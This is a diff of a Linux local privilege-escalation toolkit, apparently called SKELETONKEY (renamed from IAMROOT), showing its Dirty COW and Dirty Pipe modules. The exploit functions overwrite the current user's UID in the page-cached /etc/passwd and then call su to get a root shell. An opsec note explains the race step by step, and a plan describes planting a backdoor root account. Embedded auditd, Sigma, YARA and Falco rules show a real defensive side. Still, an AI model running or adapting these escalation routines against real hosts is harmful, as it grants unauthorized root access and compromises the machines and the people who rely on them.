/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
off_t uid_off;
|
||||
@@ -275,7 +287,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -292,12 +304,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||
@@ -305,19 +317,47 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||
* surface. Stub out cleanly so the module still registers and
|
||||
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||
* the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||
"(/proc/self/mem + madvise race) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
|
||||
static const char dirty_cow_auditd[] =
|
||||
@@ -325,14 +365,14 @@ static const char dirty_cow_auditd[] =
|
||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
|
||||
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
|
||||
|
||||
static const char dirty_cow_sigma[] =
|
||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||
"id: 1e2c5d8f-iamroot-dirty-cow\n"
|
||||
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||
@@ -350,7 +390,36 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
const struct iamroot_module dirty_cow_module = {
|
||||
static const char dirty_cow_yara[] =
|
||||
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2016-5195\"\n"
|
||||
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_cow_falco[] =
|
||||
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
|
||||
" overlaps a private mmap of /etc/passwd. Combined with a\n"
|
||||
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
|
||||
" primitive (CVE-2016-5195).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pwrite to /proc/self/mem by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||
@@ -362,11 +431,13 @@ const struct iamroot_module dirty_cow_module = {
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_cow(void)
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
{
|
||||
iamroot_register(&dirty_cow_module);
|
||||
skeletonkey_register(&dirty_cow_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_COW_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
@@ -25,7 +25,7 @@ by them.
|
||||
|
||||
Even in 2026, many production deployments still run vulnerable
|
||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
||||
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||
systems.
|
||||
|
||||
## Implementation plan
|
||||
@@ -34,8 +34,8 @@ systems.
|
||||
`NOTICE.md` when implemented)
|
||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||
for fixed-version backports
|
||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
||||
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||
backdoor mode
|
||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||
filesystem audit on `/etc/passwd` modification by non-root
|
||||
@@ -44,4 +44,4 @@ systems.
|
||||
|
||||
Pick this up after Phase 1 (module-interface refactor of the
|
||||
copy_fail family) so this module can use the standard
|
||||
`iamroot_module` shape from the start.
|
||||
`skeletonkey_module` shape from the start.
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# NOTICE — dirty_pipe
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
|
||||
arbitrary file write into the page cache.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
|
||||
|
||||
Original advisory: <https://dirtypipe.cm4all.com/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
This module bundles the canonical splice-into-pipe primitive that
|
||||
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||
via `su`. Detection covers the splice() syscall against sensitive
|
||||
files and non-root modifications to passwd/shadow.
|
||||
@@ -13,14 +13,14 @@
|
||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||
# any modification by non-root — the Dirty Pipe payload typically
|
||||
# overwrites these to gain root.
|
||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||
|
||||
# Watch every splice() syscall — combined with the file watches above
|
||||
# this catches the canonical exploit shape. (High volume on servers
|
||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||
# exclude web servers.)
|
||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||
id: f6b13c08-iamroot-dirty-pipe
|
||||
id: f6b13c08-skeletonkey-dirty-pipe
|
||||
status: experimental
|
||||
description: |
|
||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||
@@ -10,7 +10,7 @@ description: |
|
||||
references:
|
||||
- https://dirtypipe.cm4all.com/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||
author: IAMROOT
|
||||
author: SKELETONKEY
|
||||
date: 2026/05/16
|
||||
logsource:
|
||||
product: linux
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
+130
-55
@@ -1,9 +1,9 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||
*
|
||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||
* is the reference — but landing it under the iamroot_module
|
||||
* is the reference — but landing it under the skeletonkey_module
|
||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||
* which are deferred to Phase 1.5).
|
||||
*
|
||||
@@ -15,24 +15,23 @@
|
||||
*
|
||||
* Detect logic:
|
||||
* - Parse uname() release into major.minor.patch
|
||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
||||
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||
* - If kernel is on a branch with a known backport, compare patch
|
||||
* level (above threshold = patched, below = vulnerable)
|
||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
||||
* - Otherwise → IAMROOT_VULNERABLE
|
||||
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||
*
|
||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||
* counter, NOT the upstream patch level). For now we treat that as
|
||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
||||
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||
* hint. A future enhancement: parse /proc/version's full string
|
||||
* which usually includes the upstream patch level after the distro
|
||||
* suffix.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
@@ -42,6 +41,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
@@ -223,7 +227,7 @@ static const struct kernel_range dirty_pipe_range = {
|
||||
* /etc/passwd writes; safe to run from --scan --active. */
|
||||
static int dirty_pipe_active_probe(void)
|
||||
{
|
||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
||||
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||
int fd = mkstemp(probe_path);
|
||||
if (fd < 0) return -1;
|
||||
const char seed[16] = "ABCDABCDABCDABCD";
|
||||
@@ -252,24 +256,29 @@ static int dirty_pipe_active_probe(void)
|
||||
return readback[4] == 'X' ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||
|
||||
/* Active probe overrides version-only verdict when requested.
|
||||
* The version check is necessary-but-not-sufficient: distros
|
||||
@@ -284,9 +293,9 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
if (probe == 1) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
"(version %s)\n", v->release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
@@ -294,7 +303,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
"primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently backported");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||
* back to version-only verdict and report TEST_ERROR caveat */
|
||||
@@ -307,37 +316,40 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
"use --active to confirm empirically)\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Resolve current user. */
|
||||
/* Resolve current user. Consult ctx->host->is_root for the
|
||||
* already-root short-circuit so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
uid_t euid = geteuid();
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
@@ -349,7 +361,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -368,7 +380,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||
if ((uid_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -377,13 +389,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||
@@ -394,35 +406,96 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
static const char dirty_pipe_auditd[] =
|
||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_yara[] =
|
||||
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0847\"\n"
|
||||
" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
